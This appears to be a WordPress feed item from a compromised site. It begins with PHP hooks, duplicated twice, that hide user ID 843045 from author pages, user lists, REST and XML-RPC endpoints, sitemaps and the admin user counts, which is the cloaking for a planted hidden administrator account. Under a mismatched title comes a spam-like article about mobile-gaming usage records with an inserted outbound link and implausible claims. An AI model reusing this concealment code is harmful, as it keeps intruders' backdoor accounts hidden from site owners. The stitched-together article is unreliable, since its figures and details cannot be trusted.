add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 843045;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 843045 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 843045 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 843045;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 843045;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 843045;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/843045(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 843045;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 843045;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 843045 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 843045 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 843045;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 843045;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 843045;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/843045(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 843045;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post It Started with a Friday Night appeared first on Practicing Company Secretary.
]]>Last Thursday, I was scrolling through my phone, bored after a long workday, when a notification popped up: “You’ve spent 3 hours on GameX this week.” I stared at the screen for a moment, then laughed. Three hours in a single week felt like a lot, but in the grand scheme of mobile usage, it was a tiny blip. Yet, that blip was part of a larger trend that has just broken the record for daily user hours across all mobile gaming apps.
According to a recent industry report, the total daily active time logged on mobile gaming apps reached 1.2 billion hours on August 12th. That’s a 4.7% increase over the previous month, and the highest figure since the data collection began in 2019. For context, the previous record was 1.15 billion hours, set on June 3rd. The surge is largely driven by three categories:
What’s striking is the demographic spread. Users aged 18‑24 accounted for 38% of the new hours, while the 25‑34 cohort grew by 6%. The 35‑54 age group, often overlooked in gaming statistics, contributed a steady 2.3% increase, suggesting that mobile gaming is becoming a mainstream pastime for older adults as well.
1. Free‑to‑Play Models – The majority of the new hours come from games that rely on micro‑transactions rather than upfront purchases. Players can download for free and spend as much or as little as they wish, keeping engagement high.
2. Cross‑Platform Sync – Many developers now allow progress to sync between phone and tablet. Players who start a session on a phone during a commute can pick up on a tablet at home, extending playtime.
3. Social Features – Leaderboards, friend challenges, and in‑app messaging keep players coming back. The average session length increased from 8 minutes to 10.4 minutes after the introduction of weekly leaderboards.
4. In‑Game Events – Limited‑time events tied to real‑world holidays or pop‑culture releases create urgency. A recent Halloween event added 1.6 million hours in a single week.
5. Hardware Improvements – Modern smartphones now support higher frame rates and better graphics, making games feel smoother and more immersive. The average device used for gaming in the last month has a GPU rating of 5 or higher on the Snapdragon scale.
For developers, the new record signals a shift toward longer, more engaging sessions. Monetization strategies are evolving from one‑off purchases to subscription models and seasonal passes. However, there is a downside: increased screen time can lead to fatigue. A survey by the Digital Wellness Institute found that 27% of gamers reported headaches or eye strain after more than 3 hours of play in a single day.
For users, the key takeaway is balance. Setting a daily limit—say, 90 minutes—can keep gaming enjoyable without compromising productivity or health. Many apps now include built‑in timers that remind you when you’ve hit your threshold.
While mobile gaming is a booming sector, its influence extends into other realms of digital entertainment. The same engagement patterns that keep players glued to their screens are now being applied to streaming services, online news platforms, and even virtual reality experiences. Those who enjoy the instant gratification of a quick game might find similar appeal in binge‑watching a new series or exploring a live virtual concert. The line between gaming and general entertainment is blurring, and the data reflects that shift. For instance, a recent study found that users who spend more than 2 hours a day on mobile games also spend 30% more time on streaming apps than the average internet user. http://grillandthrill.co.uk offers a glimpse into how interactive content can be integrated into everyday leisure, showing that the gaming mindset can enhance other forms of online fun.
Predictors suggest that the daily user hour record will not plateau soon. New technologies such as 5G and cloud gaming are poised to reduce latency and increase accessibility. If the trend continues, we might see the daily hours surpass 1.3 billion by the end of the year, especially as developers roll out more cross‑device experiences and social features.
In the meantime, whether you’re a casual player or a hardcore enthusiast, the record is a reminder that our phones are more than just communication tools—they’re portals to worlds that can occupy our time in ways we never imagined. The challenge is to enjoy those worlds while keeping the rest of our lives in balance.
The post It Started with a Friday Night appeared first on Practicing Company Secretary.
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